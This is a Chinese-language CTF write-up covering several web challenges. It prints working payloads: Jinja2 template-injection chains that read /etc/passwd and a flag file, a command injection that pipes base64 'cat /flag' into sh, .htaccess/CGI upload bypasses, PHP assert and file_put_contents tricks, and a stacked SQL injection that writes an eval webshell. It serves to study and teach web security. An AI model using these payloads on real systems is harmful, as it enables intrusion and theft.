算是签到题,比较easy
1 | unctf.com/../../../../../../flag |
Fuzz了一下,发现过滤挺多东西的。
只能用管道+join的方法
1 | {{()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_ |
等价于().__class__
1 | {{()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.base,request.args.usc*2)|join)}}&class=class&usc=_&base=base |
等价于().__class__.__base__
1 | {{()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.base,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.subclasses,request.args.usc*2)|join)()}}&class=class&usc=_&base=base&subclasses=subclasses |
().__class__.__base__.subclasses()
1 | {{(()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.base,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.subclasses,request.args.usc*2)|join)()).pop(475)} |
().__class__.base__.subclasses().pop(475)
click.utils.LazyFile
1 | {{(()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.base,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.subclasses,request.args.usc*2)|join)()).pop(475)(request.args.path).read()}}&class=class&usc=_&base=base&subclasses=subclasses&path=/etc/passwd |
但是不知道flag在哪,所以还是要执行系统命令
1 | {{(()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.base,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.subclasses,request.args.usc*2)|join)()).pop(64)}} |
选取的模块<class '_frozen_importlib._DummyModuleLock'>
1 | {{(()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.base,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.subclasses,request.args.usc*2)|join)()).pop(64)|attr((request.args.usc*2,request.args.init,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.globals,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.builtins,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.import,request.args.usc*2)|join)}}&class=class&usc=_&base=base&subclasses=subclasses&init=init&globals=globals&builtins=builtins&import=import |
().__class__.base__.subclasses().pop(64).__init__.__globals__.__import__
还是没能搞出来
最后还是通过读文件的方式,首先尝试proc/self/cwd
和/proc/self/environ
,直接返回500,应该是权限不够,再尝试读取/proc/self/cmdline
,显示项目是在/app
下面,再看/app/app.py
发现可以成功读取源码,那就猜了一波flag应该在这个路径下。
1 | /secret_route_you_do_not_know?guess={{(()|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.base,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.subclasses,request.args.usc*2)|join)()).pop(475)(request.args.path).read()}}&class=class&usc=_&base=base&subclasses=subclasses&path=/app/flag.txt |
参考:
https://www.jianshu.com/p/a736e39c3510
https://misakikata.github.io/2020/04/python-沙箱逃逸与SSTI/#flask-改
https://blog.csdn.net/weixin_43536759/article/details/105066445
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection#jinja2---filter-bypass
赛后看预期解我好像做的太麻烦了。
1 | {{((session|attr(request.headers.x))|attr(request.headers.x1)).get(request.headers.x2).get(request.headers.x3)(request.headers.x4).read()}} |
header的内容:
1 | x: __init__ |
反序列化字符逃逸
Payload:
1 | challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}}}} |
命令执行可以直接包含文件
1 | ?a=include"php://filter/convert.base64-encode/resource=flag.php"; |
一开始不给hint都没什么思路,后来放了一个hint:
1 | if(!(is_file($name)===false)){flag}else{no flag} |
is_file函数接收一个数组的时候回返回Null
1 | ?name[]=0 |
检查文件名后缀、文件类型,过滤了perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet
,不检查是否有图片头。
.htaccess
文件名是可以上传的,用换行绕过:
1 | AddHandler p\ |
然后在随便上传一个txt文件,访问对应路径即可。
然后我写wp的时候发现,这道题目过滤被改了,增加了一个\
,所以上面的这种换行绕过就没办法bypass了。
来学一个新姿势,上传.htaccess,开启cgi支持,上传cgi脚本,执行cgi脚本,输出flag。
1 | Options +ExecCGI |
再上传cgi文件,这个文件必须要在Linux/macOS环境下编写,使用vim就行。
1 | #!/bin/bash |
然后上传的时候最好也要直接上传文件,抓包修改文件类型,最后再放包,不然可能会出现500的错误。
命令执行绕过的题目,当前目录下只有index.php,用sort读取源代码,过滤空格和$
,用%09
来绕过。
从源码中可以看到禁用了/(;|'| |>|]|&| |\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i
用ls命令看到flag在根目录下,base64编码一下
127.0.0.1|echo%09Y2F0IC9mbGFn|base64%09-d|sh
PHP代码审计
1 |
|
这道题考点是变量覆盖,弱类型和PHP复杂变量的解析。做出了前两个考点,倒在了第三个考点,没想到用复杂变量。
第一关
1 | foreach ($_GET as $key => $value) { |
${$key}=$value
可以导致变量覆盖,也就是说我们将$password覆盖为任意值,然后将$adminPassword覆盖为其md5值。
payload:
1 | ?password=ca01h&adminPassword=0f5ed8a8d8d44d86a570aacffa922251&source= |
第二关
1 | sha1($verif) == $verif |
简单的PHP弱类型绕过,payload
1 | ?verif=0e00000000000000000000081614617300000000 |
第三关
1 | if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) { |
变量名必须是var1
或者var12
这种形式,而且在变量覆盖环节转义了单双引号。
关于复杂变量的解析:https://ca0y1h.top/Web_security/php_related/11.PHP复杂变量解析/
Payload:
1 | var1={$_GET[1]}&var3=${$var1()}&1=phpinfo |
解释:
1 | $var1="{$_GET[1]}"; ==> $var1="phpinfo"; |
1 | $var3="${$var1()}"; ==> $var3="${phpinfo()}"; |
查看源码最后一行是一个提示,但是比赛的时候不知道这是base82的编码方式。
解码之后是让提交一个action参数,提示读源码,用文件包含,base被过滤了,换成rot13。
1 | php://filter/read=convert.string-rot13/resource=index.php |
index.php
1 |
|
flag.php
1 |
|
hint用十六进制转码1nD3x.php
1 |
|
预期解,利用PHP5.6新引入的特性——变长参数
https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
和Python中的**kwargs
,类似,在PHP中可以使用 func(...$arr)
这样的方式,将$arr
数组展开成多个参数,传入func函数。
payload:
1 | ?1[]=test&1[]=system(%27ls%20/%27);&2=assert |
也就是相当于执行了usort(["test", "system('ls /');"], assert);
P年的那篇文章还提到了可以利用文件包含写shell:
1 | code=$_GET[a](N,a,8);&a=file_put_contents |
用脚本自动跑一下:
1 | import requests |
base64编码后的一句话已经写入了A文件,再文件包含这个A文件。
题目有提示用到wasm,网上先稍微了解一下。查看源代码发现是有wasm.gz的源文件。
拼接一下文件名下载下来解压之后拿到blocks.wasm
,再用wabt工具集中的wasm2wat对其进行反编译
反编译之后打开wat文件我人都傻了,啥都看不懂,后来我把所有能用的工具试了一下,就是没想到在反编译后的文件中查找99999关键字
再修改这个分数,最后编译成wasm文件
把源码保存下来,替换掉block.wasm.gz,在本地起服务,再随便玩玩拿到flag。
题目这样出我真的。。。。没想到
并不知道username和password的确切的值,要用php绕类型比较进行绕过,构造paylaod:
1 |
|
POST参数即可得到flag
强网杯2019随便住魔改,提示flag不在数据库中,那么就肯定要写shell了。
堆叠注入查表
1 | -1';show tables; |
查表字段
1 | -1';desc 0xDktb; |
用预处理和十六进制编码select * from 0xDktb
1 | 1';set @a=0x73656c656374202a2066726f6d20603078446b746260;prepare execsql from @a; execute execsql; |
发现被过滤掉了set
关键字。(在比赛的时候没想到可以直接不要set语句。。。
改为:
1 | 1'; prepare execsql from 0x73656c656374202a2066726f6d20603078446b746260;execute execsql; |
发现可以执行成功,那么直接写shellselect '<?php @eval($_POST[ccc]);?>' into outfile '/var/www/html/shell.php'
1 | 1'; prepare execsql from 0x73656c65637420273c3f70687020406576616c28245f504f53545b6363635d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f7368656c6c2e70687027;execute execsql; |
用蚁剑连接拿flag。
is_file()
函数的参数是一个数组的时候会返回一个NULL;\
,在.htaccess中解析某个后缀为cgi文件,再上传一个cgi文件运行后读取flag;$_GET[a](N,a,8);&a=file_put_contents
,再用PHP伪协议读取;set
,可以直接用prepare execsql from 0x....